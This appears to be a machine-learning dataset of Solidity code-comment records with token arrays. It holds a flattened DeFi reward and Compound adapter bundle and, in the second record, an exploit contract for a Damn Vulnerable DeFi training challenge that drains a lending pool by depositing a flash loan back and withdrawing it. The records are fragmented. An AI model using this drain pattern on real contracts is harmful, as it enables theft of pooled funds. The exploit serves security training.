uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts\interfaces\defi\IDefiProtocol.sol
pragma solidity ^0.5.12;
interface IDefiProtocol {
/**
* @notice Transfer tokens from sender to DeFi protocol
* @param token Address of token
* @param amount Value of token to deposit
* @return new balances of each token
*/
function handleDeposit(address token, uint256 amount) external;
function handleDeposit(address[] calldata tokens, uint256[] calldata amounts) external;
/**
* @notice Transfer tokens from DeFi protocol to beneficiary
* @param token Address of token
* @param amount Denormalized value of token to withdraw
* @return new balances of each token
*/
function withdraw(address beneficiary, address token, uint256 amount) external;
/**
* @notice Transfer tokens from DeFi protocol to beneficiary
* @param amounts Array of amounts to withdraw, in order of supportedTokens()
* @return new balances of each token
*/
function withdraw(address beneficiary, uint256[] calldata amounts) external;
/**
* @notice Claim rewards. Reward tokens will be stored on protocol balance.
* @return tokens and their amounts received
*/
function claimRewards() external returns(address[] memory tokens, uint256[] memory amounts);
/**
* @notice Withdraw reward tokens to user
* @dev called by SavingsModule
* @param token Reward token to withdraw
* @param user Who should receive tokens
* @param amount How many tokens to send
*/
function withdrawReward(address token, address user, uint256 amount) external;
/**
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
*/
function balanceOf(address token) external returns(uint256);
/**
* @notice Balance of all tokens supported by protocol
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
*/
function balanceOfAll() external returns(uint256[] memory);
/**
* @notice Returns optimal proportions of underlying tokens
* to prevent fees on deposit/withdrawl if supplying multiple tokens
* @dev This function is not view because on some protocols
* (Compound, RAY with Compound oportunity) it may cause storage writes
* same as balanceOfAll()
*/
function optimalProportions() external returns(uint256[] memory);
/**
* @notice Returns normalized (to USD with 18 decimals) summary balance
* of pool using all tokens in this protocol
*/
function normalizedBalance() external returns(uint256);
function supportedTokens() external view returns(address[] memory);
function supportedTokensCount() external view returns(uint256);
function supportedRewardTokens() external view returns(address[] memory);
function isSupportedRewardToken(address token) external view returns(bool);
/**
* @notice Returns if this protocol can swap all it's normalizedBalance() to specified token
*/
function canSwapToToken(address token) external view returns(bool);
}
// File: contracts\interfaces\defi\ICErc20.sol
pragma solidity ^0.5.12;
/**
* Most important functions of Compound CErc20 token.
* Source: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol
*
* Original interface name: CErc20Interface
* but we use our naming covention.
*/
//solhint-disable func-order
contract ICErc20 {
/*** User Interface of CTokenInterface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function accrueInterest() external returns (uint256);
/*** User Interface of CErc20Interface ***/
function mint(uint mintAmount) external returns (uint256);
function redeem(uint redeemTokens) external returns (uint256);
function redeemUnderlying(uint redeemAmount) external returns (uint256);
}
// File: contracts\interfaces\defi\IComptroller.sol
pragma solidity ^0.5.16;
interface IComptroller {
function claimComp(address holder) external;
function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external;
function getCompAddress() external view returns (address);
}
// File: @openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: contracts\common\Base.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Base is Initializable, Context, Ownable {
address constant ZERO_ADDRESS = address(0);
function initialize() public initializer {
Ownable.initialize(_msgSender());
}
}
// File: contracts\core\ModuleNames.sol
pragma solidity ^0.5.12;
/**
* @dev List of module names
*/
contract ModuleNames {
// Pool Modules
string internal constant MODULE_ACCESS = "access";
string internal constant MODULE_SAVINGS = "savings";
string internal constant MODULE_INVESTING = "investing";
string internal constant MODULE_STAKING = "staking";
string internal constant MODULE_DCA = "dca";
string internal constant MODULE_REWARD = "reward";
// Pool tokens
string internal constant TOKEN_AKRO = "akro";
string internal constant TOKEN_ADEL = "adel";
// External Modules (used to store addresses of external contracts)
string internal constant CONTRACT_RAY = "ray";
}
// File: contracts\common\Module.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Module is Base, ModuleNames {
event PoolAddressChanged(address newPool);
address public pool;
function initialize(address _pool) public initializer {
Base.initialize();
setPool(_pool);
}
function setPool(address _pool) public onlyOwner {
require(_pool != ZERO_ADDRESS, "Module: pool address can't be zero");
pool = _pool;
emit PoolAddressChanged(_pool);
}
function getModuleAddress(string memory module) public view returns(address){
require(pool != ZERO_ADDRESS, "Module: no pool");
(bool success, bytes memory result) = pool.staticcall(abi.encodeWithSignature("get(string)", module));
//Forward error from Pool contract
if (!success) assembly {
revert(add(result, 32), result)
}
address moduleAddress = abi.decode(result, (address));
// string memory error = string(abi.encodePacked("Module: requested module not found - ", module));
// require(moduleAddress != ZERO_ADDRESS, error);
require(moduleAddress != ZERO_ADDRESS, "Module: requested module not found");
return moduleAddress;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts\modules\defi\DefiOperatorRole.sol
pragma solidity ^0.5.12;
contract DefiOperatorRole is Initializable, Context {
using Roles for Roles.Role;
event DefiOperatorAdded(address indexed account);
event DefiOperatorRemoved(address indexed account);
Roles.Role private _operators;
function initialize(address sender) public initializer {
if (!isDefiOperator(sender)) {
_addDefiOperator(sender);
}
}
modifier onlyDefiOperator() {
require(isDefiOperator(_msgSender()), "DefiOperatorRole: caller does not have the DefiOperator role");
_;
}
function addDefiOperator(address account) public onlyDefiOperator {
_addDefiOperator(account);
}
function renounceDefiOperator() public {
_removeDefiOperator(_msgSender());
}
function isDefiOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addDefiOperator(address account) internal {
_operators.add(account);
emit DefiOperatorAdded(account);
}
function _removeDefiOperator(address account) internal {
_operators.remove(account);
emit DefiOperatorRemoved(account);
}
}
// File: contracts\modules\reward\RewardManagerRole.sol
pragma solidity ^0.5.12;
contract RewardManagerRole is Initializable, Context {
using Roles for Roles.Role;
event RewardManagerAdded(address indexed account);
event RewardManagerRemoved(address indexed account);
Roles.Role private _managers;
function initialize(address sender) public initializer {
if (!isRewardManager(sender)) {
_addRewardManager(sender);
}
}
modifier onlyRewardManager() {
require(isRewardManager(_msgSender()), "RewardManagerRole: caller does not have the RewardManager role");
_;
}
function addRewardManager(address account) public onlyRewardManager {
_addRewardManager(account);
}
function renounceRewardManager() public {
_removeRewardManager(_msgSender());
}
function isRewardManager(address account) public view returns (bool) {
return _managers.has(account);
}
function _addRewardManager(address account) internal {
_managers.add(account);
emit RewardManagerAdded(account);
}
function _removeRewardManager(address account) internal {
_managers.remove(account);
emit RewardManagerRemoved(account);
}
}
// File: contracts\modules\reward\RewardVestingModule.sol
pragma solidity ^0.5.12;
contract RewardVestingModule is Module, RewardManagerRole {
event RewardTokenRegistered(address indexed protocol, address token);
event EpochRewardAdded(address indexed protocol, address indexed token, uint256 epoch, uint256 amount);
event RewardClaimed(address indexed protocol, address indexed token, uint256 claimPeriodStart, uint256 claimPeriodEnd, uint256 claimAmount);
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct Epoch {
uint256 end; // Timestamp of Epoch end
uint256 amount; // Amount of reward token for this protocol on this epoch
}
struct RewardInfo {
Epoch[] epochs;
uint256 lastClaim; // Timestamp of last claim
}
struct ProtocolRewards {
address[] tokens;
mapping(address=>RewardInfo) rewardInfo;
}
mapping(address => ProtocolRewards) internal rewards;
uint256 public defaultEpochLength;
function initialize(address _pool) public initializer {
Module.initialize(_pool);
RewardManagerRole.initialize(_msgSender());
defaultEpochLength = 7*24*60*60;
}
function registerRewardToken(address protocol, address token, uint256 firstEpochStart) public onlyRewardManager {
if(firstEpochStart == 0) firstEpochStart = block.timestamp;
//Push zero epoch
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
require(ri.epochs.length == 0, "RewardVesting: token already registered for this protocol");
r.tokens.push(token);
ri.epochs.push(Epoch({
end: firstEpochStart,
amount: 0
}));
emit RewardTokenRegistered(protocol, token);
}
function setDefaultEpochLength(uint256 _defaultEpochLength) public onlyRewardManager {
defaultEpochLength = _defaultEpochLength;
}
function getEpochInfo(address protocol, address token, uint256 epoch) public view returns(uint256 epochStart, uint256 epochEnd, uint256 rewardAmount) {
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
require(ri.epochs.length > 0, "RewardVesting: protocol or token not registered");
require (epoch < ri.epochs.length, "RewardVesting: epoch number too high");
if(epoch == 0) {
epochStart = 0;
}else {
epochStart = ri.epochs[epoch-1].end;
}
epochEnd = ri.epochs[epoch].end;
rewardAmount = ri.epochs[epoch].amount;
return (epochStart, epochEnd, rewardAmount);
}
function getLastCreatedEpoch(address protocol, address token) public view returns(uint256) {
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
require(ri.epochs.length > 0, "RewardVesting: protocol or token not registered");
return ri.epochs.length-1;
}
function claimRewards() public {
address protocol = _msgSender();
ProtocolRewards storage r = rewards[protocol];
//require(r.tokens.length > 0, "RewardVesting: call only from registered protocols allowed");
if(r.tokens.length == 0) return; //This allows claims from protocols which are not yet registered without reverting
for(uint256 i=0; i < r.tokens.length; i++){
_claimRewards(protocol, r.tokens[i]);
}
}
function claimRewards(address protocol, address token) public {
_claimRewards(protocol, token);
}
function _claimRewards(address protocol, address token) internal {
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
uint256 epochsLength = ri.epochs.length;
require(epochsLength > 0, "RewardVesting: protocol or token not registered");
Epoch storage lastEpoch = ri.epochs[epochsLength-1];
uint256 previousClaim = ri.lastClaim;
if(previousClaim == lastEpoch.end) return; // Nothing to claim yet
if(lastEpoch.end < block.timestamp) {
ri.lastClaim = lastEpoch.end;
}else{
ri.lastClaim = block.timestamp;
}
uint256 claimAmount;
Epoch storage ep = ri.epochs[0];
uint256 i;
// Searching for last claimable epoch
for(i = epochsLength-1; i > 0; i--) {
ep = ri.epochs[i];
if(ep.end >= block.timestamp) {
break;
}
}
if(ep.end > block.timestamp) {
//Half-claim
uint256 epStart = ri.epochs[i-1].end;
uint256 claimStart = (previousClaim > epStart)?previousClaim:epStart;
uint256 epochClaim = ep.amount.mul(block.timestamp.sub(claimStart)).div(ep.end.sub(epStart));
claimAmount = claimAmount.add(epochClaim);
i--;
}
//Claim rest
for(i; i > 0; i--) {
ep = ri.epochs[i];
if(ep.end > previousClaim) {
claimAmount = claimAmount.add(ep.amount);
} else {
break;
}
}
IERC20(token).safeTransfer(protocol, claimAmount);
emit RewardClaimed(protocol, token, previousClaim, ri.lastClaim, claimAmount);
}
function createEpoch(address protocol, address token, uint256 epochEnd, uint256 amount) public onlyRewardManager {
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
uint256 epochsLength = ri.epochs.length;
require(epochsLength > 0, "RewardVesting: protocol or token not registered");
uint256 prevEpochEnd = ri.epochs[epochsLength-1].end;
require(epochEnd > prevEpochEnd, "RewardVesting: new epoch should end after previous");
ri.epochs.push(Epoch({
end: epochEnd,
amount:0
}));
_addReward(protocol, token, epochsLength, amount);
}
function addReward(address protocol, address token, uint256 epoch, uint256 amount) public onlyRewardManager {
_addReward(protocol, token, epoch, amount);
}
function addRewards(address[] calldata protocols, address[] calldata tokens, uint256[] calldata epochs, uint256[] calldata amounts) external onlyRewardManager {
require(
(protocols.length == tokens.length) &&
(protocols.length == epochs.length) &&
(protocols.length == amounts.length),
"RewardVesting: array lengths do not match");
for(uint256 i=0; i<protocols.length; i++) {
_addReward(protocols[i], tokens[i], epochs[i], amounts[i]);
}
}
/**
* @notice Add reward to existing epoch or crete a new one
* @param protocol Protocol for reward
* @param token Reward token
* @param epoch Epoch number - can be 0 to create new Epoch
* @param amount Amount of Reward token to deposit
*/
function _addReward(address protocol, address token, uint256 epoch, uint256 amount) internal {
ProtocolRewards storage r = rewards[protocol];
RewardInfo storage ri = r.rewardInfo[token];
uint256 epochsLength = ri.epochs.length;
require(epochsLength > 0, "RewardVesting: protocol or token not registered");
if(epoch == 0) epoch = epochsLength; // creating a new epoch
if (epoch == epochsLength) {
uint256 epochEnd = ri.epochs[epochsLength-1].end.add(defaultEpochLength);
if(epochEnd < block.timestamp) epochEnd = block.timestamp; //This generally should not happen, but just in case - we generate only one epoch since previous end
ri.epochs.push(Epoch({
end: epochEnd,
amount: amount
}));
} else {
require(epochsLength > epoch, "RewardVesting: epoch is too high");
Epoch storage ep = ri.epochs[epoch];
require(ep.end > block.timestamp, "RewardVesting: epoch already finished");
ep.amount = ep.amount.add(amount);
}
emit EpochRewardAdded(protocol, token, epoch, amount);
IERC20(token).safeTransferFrom(_msgSender(), address(this), amount);
}
}
// File: contracts\modules\defi\ProtocolBase.sol
pragma solidity ^0.5.12;
contract ProtocolBase is Module, DefiOperatorRole, IDefiProtocol {
uint256 constant MAX_UINT256 = uint256(-1);
event RewardTokenClaimed(address indexed token, uint256 amount);
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping(address=>uint256) public rewardBalances; //Mapping of already claimed amounts of reward tokens
function initialize(address _pool) public initializer {
Module.initialize(_pool);
DefiOperatorRole.initialize(_msgSender());
}
function supportedRewardTokens() public view returns(address[] memory) {
return defaultRewardTokens();
}
function isSupportedRewardToken(address token) public view returns(bool) {
address[] memory srt = supportedRewardTokens();
for(uint256 i=0; i < srt.length; i++) {
if(srt[i] == token) return true;
}
return false;
}
function cliamRewardsFromProtocol() internal;
function claimRewards() public onlyDefiOperator returns(address[] memory tokens, uint256[] memory amounts){
cliamRewardsFromProtocol();
claimDefaultRewards();
// Check what we received
address[] memory rewardTokens = supportedRewardTokens();
uint256[] memory rewardAmounts = new uint256[](rewardTokens.length);
uint256 receivedRewardTokensCount;
for(uint256 i = 0; i < rewardTokens.length; i++) {
address rtkn = rewardTokens[i];
uint256 newBalance = IERC20(rtkn).balanceOf(address(this));
if(newBalance > rewardBalances[rtkn]) {
receivedRewardTokensCount++;
rewardAmounts[i] = newBalance.sub(rewardBalances[rtkn]);
rewardBalances[rtkn] = newBalance;
}
}
//Fill result arrays
tokens = new address[](receivedRewardTokensCount);
amounts = new uint256[](receivedRewardTokensCount);
if(receivedRewardTokensCount > 0) {
uint256 j;
for(uint256 i = 0; i < rewardTokens.length; i++) {
if(rewardAmounts[i] > 0) {
tokens[j] = rewardTokens[i];
amounts[j] = rewardAmounts[i];
j++;
}
}
}
}
function withdrawReward(address token, address user, uint256 amount) public onlyDefiOperator {
require(isSupportedRewardToken(token), "ProtocolBase: not reward token");
rewardBalances[token] = rewardBalances[token].sub(amount);
IERC20(token).safeTransfer(user, amount);
}
function claimDefaultRewards() internal {
RewardVestingModule rv = RewardVestingModule(getModuleAddress(MODULE_REWARD));
rv.claimRewards();
}
function defaultRewardTokens() internal view returns(address[] memory) {
address[] memory rt = new address[](2);
return defaultRewardTokensFillArray(rt);
}
function defaultRewardTokensFillArray(address[] memory rt) internal view returns(address[] memory) {
require(rt.length >= 2, "ProtocolBase: not enough space in array");
rt[0] = getModuleAddress(TOKEN_AKRO);
rt[1] = getModuleAddress(TOKEN_ADEL);
return rt;
}
function defaultRewardTokensCount() internal pure returns(uint256) {
return 2;
}
}
// File: contracts\modules\defi\CompoundProtocol.sol
pragma solidity ^0.5.12;
/**
* RAY Protocol support module which works with only one base token
*/
contract CompoundProtocol is ProtocolBase {
uint256 constant MAX_UINT256 = uint256(-1);
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public baseToken;
uint8 public decimals;
ICErc20 public cToken;
IComptroller public comptroller;
IERC20 public compToken;
function initialize(address _pool, address _token, address _cToken, address _comptroller) public initializer {
ProtocolBase.initialize(_pool);
baseToken = IERC20(_token);
cToken = ICErc20(_cToken);
decimals = ERC20Detailed(_token).decimals();
baseToken.safeApprove(_cToken, MAX_UINT256);
comptroller = IComptroller(_comptroller);
compToken = IERC20(comptroller.getCompAddress());
}
function handleDeposit(address token, uint256 amount) public onlyDefiOperator {
require(token == address(baseToken), "CompoundProtocol: token not supported");
cToken.mint(amount);
}
function handleDeposit(address[] memory tokens, uint256[] memory amounts) public onlyDefiOperator {
require(tokens.length == 1 && amounts.length == 1, "CompoundProtocol: wrong count of tokens or amounts");
handleDeposit(tokens[0], amounts[0]);
}
function withdraw(address beneficiary, address token, uint256 amount) public onlyDefiOperator {
require(token == address(baseToken), "CompoundProtocol: token not supported");
cToken.redeemUnderlying(amount);
baseToken.safeTransfer(beneficiary, amount);
}
function withdraw(address beneficiary, uint256[] memory amounts) public onlyDefiOperator {
require(amounts.length == 1, "CompoundProtocol: wrong amounts array length");
cToken.redeemUnderlying(amounts[0]);
baseToken.safeTransfer(beneficiary, amounts[0]);
}
function balanceOf(address token) public returns(uint256) {
if (token != address(baseToken)) return 0;
return cToken.balanceOfUnderlying(address(this));
}
function balanceOfAll() public returns(uint256[] memory) {
uint256[] memory balances = new uint256[](1);
balances[0] = balanceOf(address(baseToken));
return balances;
}
function normalizedBalance() public returns(uint256) {
return normalizeAmount(address(baseToken), balanceOf(address(baseToken)));
}
function optimalProportions() public returns(uint256[] memory) {
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1e18;
return amounts;
}
function canSwapToToken(address token) public view returns(bool) {
return (token == address(baseToken));
}
function supportedTokens() public view returns(address[] memory){
address[] memory tokens = new address[](1);
tokens[0] = address(baseToken);
return tokens;
}
function supportedTokensCount() public view returns(uint256) {
return 1;
}
function supportedRewardTokens() public view returns(address[] memory) {
uint256 defaultRTCount = defaultRewardTokensCount();
address[] memory rtokens = new address[](defaultRTCount+1);
rtokens = defaultRewardTokensFillArray(rtokens);
rtokens[defaultRTCount] = address(compToken);
return rtokens;
}
function cliamRewardsFromProtocol() internal {
address[] memory holders = new address[](1);
holders[0] = address(this);
address[] memory cTokens = new address[](1);
cTokens[0] = address(cToken);
comptroller.claimComp(holders, cTokens, false, true);
}
function normalizeAmount(address, uint256 amount) internal view returns(uint256) {
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.div(10**(uint256(decimals)-18));
} else if (decimals < 18) {
return amount.mul(10**(18-uint256(decimals)));
}
}
function denormalizeAmount(address, uint256 amount) internal view returns(uint256) {
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.mul(10**(uint256(decimals)-18));
} else if (decimals < 18) {
return amount.div(10**(18-uint256(decimals)));
}
}
}
// File: contracts\deploy\CompoundProtocol_DAI.sol
pragma solidity ^0.5.12;
contract CompoundProtocol_DAI is CompoundProtocol {
function initialize(address _pool, address _token, address _cToken, address _comptroller) public initializer {
CompoundProtocol.initialize(
_pool,
_token,
_cToken,
_comptroller
);
}
} | * Most important functions of Compound CErc20 token. Original interface name: CErc20Interface but we use our naming covention./solhint-disable func-order | contract ICErc20 {
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function accrueInterest() external returns (uint256);
function mint(uint mintAmount) external returns (uint256);
function redeem(uint redeemTokens) external returns (uint256);
function redeemUnderlying(uint redeemAmount) external returns (uint256);
}
}
| 1,670,037 | [
1,
18714,
10802,
4186,
434,
21327,
29538,
1310,
3462,
1147,
18,
19225,
1560,
508,
30,
29538,
1310,
3462,
1358,
1496,
732,
999,
3134,
14634,
1825,
11111,
18,
19,
18281,
11317,
17,
8394,
1326,
17,
1019,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
467,
1441,
1310,
3462,
288,
7010,
203,
203,
203,
565,
445,
7412,
12,
2867,
3046,
16,
2254,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
7412,
1265,
12,
2867,
1705,
16,
1758,
3046,
16,
2254,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
11013,
951,
14655,
6291,
12,
2867,
3410,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
7829,
4727,
3935,
1435,
3903,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
7829,
4727,
18005,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
4078,
86,
344,
29281,
1435,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
203,
565,
445,
312,
474,
12,
11890,
312,
474,
6275,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
283,
24903,
12,
11890,
283,
24903,
5157,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
283,
24903,
14655,
6291,
12,
11890,
283,
24903,
6275,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
97,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../side-entrance/SideEntranceLenderPool.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceExploit {
SideEntranceLenderPool private immutable pool;
address private immutable owner;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {}
fallback() external payable {}
// Pool will call this function during the flash loan
function execute() external payable {
pool.deposit{value: msg.value}();
}
function executeExploit() external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
} | * @title ReceiverUnstoppable/ | contract SideEntranceExploit {
SideEntranceLenderPool private immutable pool;
address private immutable owner;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {}
fallback() external payable {}
function execute() external payable {
}
pool.deposit{value: msg.value}();
function executeExploit() external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
} | 12,663,015 | [
1,
12952,
984,
5681,
19586,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
